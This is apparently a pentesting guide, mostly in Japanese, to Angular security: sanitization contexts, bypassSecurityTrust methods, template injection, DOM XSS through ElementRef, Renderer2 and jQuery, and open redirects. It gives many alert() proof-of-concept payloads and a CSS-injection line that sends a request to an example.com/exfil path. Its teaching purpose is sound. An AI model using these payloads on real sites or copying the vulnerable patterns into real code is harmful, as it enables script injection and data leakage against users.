Angular

The Checklist

Checklist from here.

What is Angular

Angularは強力オープンソースのフロントエンドフレームワークで、Googleによって維持されています。TypeScriptを使用してコードの可読性とデバッグを向上させます。強力なセキュリティメカニズムにより、AngularはXSSオープンリダイレクトなどの一般的なクライアントサイドの脆弱性を防ぎます。また、サーバーサイドでも使用できるため、両方の視点からセキュリティの考慮が重要です。

Framework architecture

Angularの基本をよりよく理解するために、その基本的な概念を見ていきましょう。

一般的なAngularプロジェクトは通常次のようになります:

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
      ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
      ├── app.component.ts #defines the logic for the application's root component
      ├── app.component.html #defines the HTML template associated with the root component
      ├── app.component.css #defines the base CSS stylesheet for the root component
      ├── app.component.spec.ts #defines a unit test for the root component
      └── app-routing.module.ts #provides routing capability for the application
   ├── lib
      └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

According to the documentation, every Angular application has at least one component, the root component (AppComponent) that connects a component hierarchy with the DOM. Each component defines a class that contains application data and logic, and is associated with an HTML template that defines a view to be displayed in a target environment. The @Component() decorator identifies the class immediately below it as a component, and provides the template and related component-specific metadata. The AppComponent is defined in the app.component.ts file.

Angular NgModules declare a compilation context for a set of components that is dedicated to an application domain, a workflow, or a closely related set of capabilities. Every Angular application has a root module, conventionally named AppModule, which provides the bootstrap mechanism that launches the application. An application typically contains many functional modules. The AppModule is defined in the app.module.ts file.

The Angular Router NgModule provides a service that lets you define a navigation path among the different application states and view hierarchies in your application. The RouterModuleis defined in the app-routing.module.ts file.

For data or logic that isn't associated with a specific view, and that you want to share across components, you create a service class. A service class definition is immediately preceded by the @Injectable() decorator. The decorator provides the metadata that allows other providers to be injected as dependencies into your class. Dependency injection (DI) lets you keep your component classes lean and efficient. They don't fetch data from the server, validate user input, or log directly to the console; they delegate such tasks to services.

Sourcemap configuration

Angular framework translates TypeScript files into JavaScript code by following tsconfig.json options and then builds a project with angular.json configuration. Looking at angular.json file, we observed an option to enable or disable a sourcemap. According to the Angular documentation, the default configuration has a sourcemap file enabled for scripts and is not hidden by default:

ドキュメントによると、すべてのAngularアプリケーションには、コンポーネント階層をDOMに接続するルートコンポーネント(AppComponent)が少なくとも1つあります。各コンポーネントは、アプリケーションデータとロジックを含むクラスを定義し、ターゲット環境に表示されるビューを定義するHTMLテンプレートに関連付けられています。@Component()デコレーターは、その直下のクラスをコンポーネントとして識別し、テンプレートと関連するコンポーネント固有のメタデータを提供します。AppComponentapp.component.tsファイルで定義されています。

Angular NgModulesは、アプリケーションドメイン、ワークフロー、または密接に関連する機能セットに専念するコンポーネントのセットのコンパイルコンテキストを宣言します。すべてのAngularアプリケーションには、通常AppModuleと呼ばれるルートモジュールがあり、アプリケーションを起動するブートストラップメカニズムを提供します。アプリケーションには通常、多くの機能モジュールが含まれています。AppModuleapp.module.tsファイルで定義されています。

Angular Router NgModuleは、アプリケーション内の異なるアプリケーション状態とビュー階層の間にナビゲーションパスを定義できるサービスを提供します。RouterModuleapp-routing.module.tsファイルで定義されています。

特定のビューに関連付けられていないデータやロジックで、コンポーネント間で共有したい場合は、サービスクラスを作成します。サービスクラスの定義は、@Injectable()デコレーターによって直前に示されます。このデコレーターは、他のプロバイダーがクラスに依存関係として注入されることを可能にするメタデータを提供します。依存性注入(DI)により、コンポーネントクラスをスリムで効率的に保つことができます。彼らはサーバーからデータを取得したり、ユーザー入力を検証したり、コンソールに直接ログを記録したりしません。これらのタスクはサービスに委任されます。

ソースマップの設定

Angularフレームワークは、tsconfig.jsonオプションに従ってTypeScriptファイルをJavaScriptコードに変換し、その後angular.json構成でプロジェクトをビルドします。angular.jsonファイルを見てみると、ソースマップを有効または無効にするオプションがあることがわかりました。Angularのドキュメントによると、デフォルトの構成では、スクリプト用のソースマップファイルが有効になっており、デフォルトでは隠されていません。

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

一般的に、sourcemapファイルはデバッグ目的で使用され、生成されたファイルを元のファイルにマッピングします。したがって、プロダクション環境での使用は推奨されません。sourcemapsが有効になっている場合、Angularプロジェクトの元の状態を再現することで、可読性が向上し、ファイル分析に役立ちます。しかし、無効にされている場合、レビュアーはセキュリティ対策パターンを検索することで、コンパイルされたJavaScriptファイルを手動で分析することができます。

さらに、AngularプロジェクトのコンパイルされたJavaScriptファイルは、ブラウザの開発者ツール → ソース(またはデバッガーとソース) → [id].main.jsに見つけることができます。有効なオプションに応じて、このファイルの最後には//# sourceMappingURL=[id].main.js.mapという行が含まれている場合がありますが、hiddenオプションがtrueに設定されている場合は含まれません。それにもかかわらず、scriptsのsourcemapが無効になっている場合、テストはより複雑になり、ファイルを取得することはできません。さらに、プロジェクトビルド中にsng build --source-mapのようにsourcemapを有効にすることができます。

データバインディング

バインディングは、コンポーネントとその対応するビュー間の通信プロセスを指します。これは、Angularフレームワークにデータを転送するために利用されます。データは、イベント、補間、プロパティ、または双方向バインディングメカニズムを通じて渡すことができます。さらに、データは関連するコンポーネント(親子関係)間や、サービス機能を使用して無関係な2つのコンポーネント間でも共有できます。

バインディングはデータフローによって分類できます:

  • データソースからビューターゲットへ(interpolationpropertiesattributesclasses、_styles_を含む);テンプレートで[]または{{}}を使用して適用できます;

  • ビューターゲットからデータソースへ(_events_を含む);テンプレートで()を使用して適用できます;

  • 双方向;テンプレートで[()]を使用して適用できます。

バインディングは、プロパティ、イベント、属性、およびソースディレクティブの任意のパブリックメンバーに対して呼び出すことができます:

TYPE
TARGET
EXAMPLES

Property

要素プロパティ、コンポーネントプロパティ、ディレクティブプロパティ

<img [alt]="hero.name" [src]="heroImageUrl">

Event

要素イベント、コンポーネントイベント、ディレクティブイベント

<button type="button" (click)="onSave()">Save

Two-way

イベントとプロパティ

<input [(ngModel)]="name">

Attribute

属性(例外)

<button type="button" [attr.aria-label]="help">help

Class

クラスプロパティ

<div [class.special]="isSpecial">Special

Style

スタイルプロパティ

<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angularセキュリティモデル

Angularの設計には、すべてのデータのエンコーディングまたはサニタイズがデフォルトで含まれており、AngularプロジェクトにおけるXSS脆弱性の発見と悪用がますます困難になっています。データ処理には2つの異なるシナリオがあります:

  1. 補間または{{user_input}} - コンテキストに応じたエンコーディングを実行し、ユーザー入力をテキストとして解釈します;

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

結果: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. プロパティ、属性、クラス、スタイルへのバインディングまたは[attribute]="user_input" - 提供されたセキュリティコンテキストに基づいてサニタイズを実行します。

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

結果: <div><h1>test</h1></div>

SecurityContextには6種類があります:

  • None;

  • HTMLは、値をHTMLとして解釈する際に使用されます;

  • STYLEは、styleプロパティにCSSをバインドする際に使用されます;

  • URLは、<a href>のようなURLプロパティに使用されます;

  • SCRIPTは、JavaScriptコードに使用されます;

  • RESOURCE_URLは、コードとして読み込まれ実行されるURL、例えば<script src>で使用されます。

脆弱性

セキュリティトラストメソッドのバイパス

Angularは、デフォルトのサニタイズプロセスをバイパスし、特定のコンテキストで値が安全に使用できることを示すためのメソッドのリストを導入しています。以下の5つの例のように:

  1. bypassSecurityTrustUrlは、指定された値が安全なスタイルURLであることを示すために使用されます:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
  1. bypassSecurityTrustResourceUrlは、指定された値が安全なリソースURLであることを示すために使用されます:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtmlは、指定された値が安全なHTMLであることを示すために使用されます。注意すべきは、この方法でDOMツリーにscript要素を挿入しても、含まれるJavaScriptコードが実行されないことです。

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScriptは、指定された値が安全なJavaScriptであることを示すために使用されます。しかし、このメソッドを使用してテンプレート内でJSコードを実行できなかったため、その動作は予測不可能であることがわかりました。

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//result
-
  1. bypassSecurityTrustStyleは、指定された値が安全なCSSであることを示すために使用されます。以下の例はCSSインジェクションを示しています:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//result
Request URL: GET example.com/exfil/a

Angularは、ビューに表示する前にデータをサニタイズするためのsanitizeメソッドを提供しています。このメソッドは、提供されたセキュリティコンテキストを使用し、入力を適切にクリーンアップします。ただし、特定のデータとコンテキストに対して正しいセキュリティコンテキストを使用することが重要です。たとえば、HTMLコンテンツにSecurityContext.URLを適用すると、危険なHTML値に対する保護が提供されません。このようなシナリオでは、セキュリティコンテキストの誤用がXSS脆弱性を引き起こす可能性があります。

HTMLインジェクション

この脆弱性は、ユーザー入力がinnerHTMLouterHTML、またはiframe srcdocのいずれかの3つのプロパティにバインドされるときに発生します。これらの属性にバインドすると、HTMLがそのまま解釈され、入力はSecurityContext.HTMLを使用してサニタイズされます。したがって、HTMLインジェクションは可能ですが、クロスサイトスクリプティング(XSS)は発生しません。

innerHTMLを使用した例:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

結果は <div><h1>test</h1></div> です。

テンプレートインジェクション

クライアントサイドレンダリング (CSR)

Angularは、ページを動的に構築するためにテンプレートを活用します。このアプローチは、Angularが評価するためのテンプレート式を二重波括弧({{}})で囲むことを含みます。このようにして、フレームワークは追加の機能を提供します。例えば、{{1+1}}というテンプレートは2として表示されます。

通常、Angularはテンプレート式と混同される可能性のあるユーザー入力(例:`< > ' " `などの文字)をエスケープします。これは、ブラックリストに載っている文字を使用しないためにJavaScript文字列オブジェクトを生成する関数を利用するなど、この制限を回避するために追加の手順が必要であることを意味します。しかし、これを達成するためには、Angularのコンテキスト、そのプロパティ、および変数を考慮する必要があります。したがって、テンプレートインジェクション攻撃は次のように見えるかもしれません:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

上記のように、constructorはObject constructorプロパティのスコープを指し、Stringコンストラクタを呼び出して任意のコードを実行することを可能にします。

サーバーサイドレンダリング (SSR)

CSRがブラウザのDOMで発生するのに対し、Angular UniversalはテンプレートファイルのSSRを担当します。これらのファイルはユーザーに配信されます。この区別にもかかわらず、Angular UniversalはSSRのセキュリティを強化するためにCSRで使用されるのと同じサニタイズメカニズムを適用します。SSRにおけるテンプレートインジェクションの脆弱性は、使用されるテンプレート言語が同じであるため、CSRと同じ方法で検出できます。

もちろん、PugやHandlebarsなどのサードパーティのテンプレートエンジンを使用する際に、新しいテンプレートインジェクションの脆弱性が導入される可能性もあります。

XSS

DOMインターフェース

前述のように、_Document_インターフェースを使用してDOMに直接アクセスできます。ユーザー入力が事前に検証されていない場合、クロスサイトスクリプティング (XSS) の脆弱性につながる可能性があります。

以下の例では、document.write()document.createElement()メソッドを使用しました:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angularクラス

AngularでDOM要素を操作するために使用できるクラスがいくつかあります:ElementRefRenderer2Location、およびDocument。最後の2つのクラスについての詳細な説明は、オープンリダイレクトセクションに記載されています。最初の2つの主な違いは、Renderer2 APIがDOM要素とコンポーネントコードの間に抽象化の層を提供するのに対し、ElementRefは単に要素への参照を保持することです。したがって、Angularのドキュメントによれば、ElementRef APIはDOMへの直接アクセスが必要な場合の最後の手段としてのみ使用されるべきです。

  • ElementRefには、DOM要素を操作するために使用できるnativeElementプロパティが含まれています。しかし、nativeElementの不適切な使用は、以下に示すようにXSSインジェクションの脆弱性を引き起こす可能性があります:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Renderer2がネイティブ要素への直接アクセスがサポートされていない場合でも安全に使用できるAPIを提供するにもかかわらず、いくつかのセキュリティの欠陥があります。Renderer2を使用すると、setAttribute()メソッドを使用してHTML要素に属性を設定できますが、これはXSS防止メカニズムを持っていません。

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • DOM要素のプロパティを設定するには、Renderer2.setProperty()メソッドを使用してXSS攻撃を引き起こすことができます:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

私たちの研究中に、setStyle()createComment()、およびsetValue()などの他のRenderer2メソッドのXSSおよびCSSインジェクションに関する動作も調査しました。しかし、これらのメソッドの機能的制限のため、有効な攻撃ベクターを見つけることはできませんでした。

jQuery

jQueryは、AngularプロジェクトでHTML DOMオブジェクトを操作するのに役立つ、高速で小型、機能豊富なJavaScriptライブラリです。しかし、知られているように、このライブラリのメソッドはXSS脆弱性を引き起こすために悪用される可能性があります。脆弱なjQueryメソッドがAngularプロジェクトでどのように悪用されるかを議論するために、このサブセクションを追加しました。

  • html()メソッドは、一致した要素のセットの最初の要素のHTMLコンテンツを取得するか、すべての一致した要素のHTMLコンテンツを設定します。しかし、設計上、HTML文字列を受け入れるjQueryのコンストラクタやメソッドは、コードを実行する可能性があります。これは、<script>タグの注入や、コードを実行するHTML属性の使用によって発生する可能性があります。

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • jQuery.parseHTML()メソッドは、ネイティブメソッドを使用して文字列をDOMノードのセットに変換し、それをドキュメントに挿入できます。

jQuery.parseHTML(data [, context ] [, keepScripts ])

前述のように、HTML文字列を受け入れるほとんどのjQuery APIは、HTMLに含まれるスクリプトを実行します。jQuery.parseHTML()メソッドは、keepScriptsが明示的にtrueでない限り、解析されたHTML内のスクリプトを実行しません。しかし、ほとんどの環境では、<img onerror>属性を介して間接的にスクリプトを実行することが可能です。

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

オープンリダイレクト

DOMインターフェース

W3Cのドキュメントによると、window.locationおよびdocument.locationオブジェクトは、現代のブラウザではエイリアスとして扱われます。これが理由で、いくつかのメソッドやプロパティの実装が似ており、以下に示すようにjavascript://スキーマ攻撃によるオープンリダイレクトやDOM XSSを引き起こす可能性があります。

  • window.location.href(およびdocument.location.href

現在のDOMロケーションオブジェクトを取得するための標準的な方法は、window.locationを使用することです。また、ブラウザを新しいページにリダイレクトするためにも使用できます。その結果、このオブジェクトを制御することで、オープンリダイレクトの脆弱性を悪用することができます。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

以下のシナリオに対する悪用プロセスは同じです。

  • window.location.assign()(およびdocument.location.assign()

このメソッドは、指定されたURLのドキュメントを読み込み、表示するためにウィンドウを引き起こします。このメソッドを制御できる場合、オープンリダイレクト攻撃のためのシンクになる可能性があります。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(およびdocument.location.replace()

このメソッドは、現在のリソースを提供されたURLのものと置き換えます。

assign()メソッドとの違いは、window.location.replace()を使用した後、現在のページがセッション履歴に保存されないことです。しかし、このメソッドを制御できる場合、オープンリダイレクトの脆弱性を悪用することも可能です。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

window.open()メソッドは、URLを受け取り、それが識別するリソースを新しいタブまたはウィンドウに読み込みます。このメソッドを制御することで、XSSまたはオープンリダイレクトの脆弱性を引き起こす機会もあります。

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angularクラス

  • Angularのドキュメントによれば、AngularのDocumentはDOMドキュメントと同じであり、Angular内のクライアントサイドの脆弱性を悪用するためにDOMドキュメントの一般的なベクターを使用することが可能です。Document.locationプロパティとメソッドは、以下の例に示すように、成功したオープンリダイレクト攻撃のシンクになる可能性があります:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • 研究段階では、オープンリダイレクトの脆弱性に対してAngularのLocationクラスもレビューしましたが、有効なベクターは見つかりませんでした。Locationは、アプリケーションがブラウザの現在のURLと対話するために使用できるAngularサービスです。このサービスには、与えられたURLを操作するためのいくつかのメソッドがあります - go()replaceState()、およびprepareExternalUrl()。しかし、外部ドメインへのリダイレクトには使用できません。例えば:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

結果:http://localhost:4200/http://google.com/about

  • AngularのRouterクラスは主に同じドメイン内のナビゲーションに使用され、アプリケーションに追加の脆弱性を導入しません:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

結果:http://localhost:4200/https:

以下のメソッドもドメインの範囲内でナビゲートします:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

参考文献

Last updated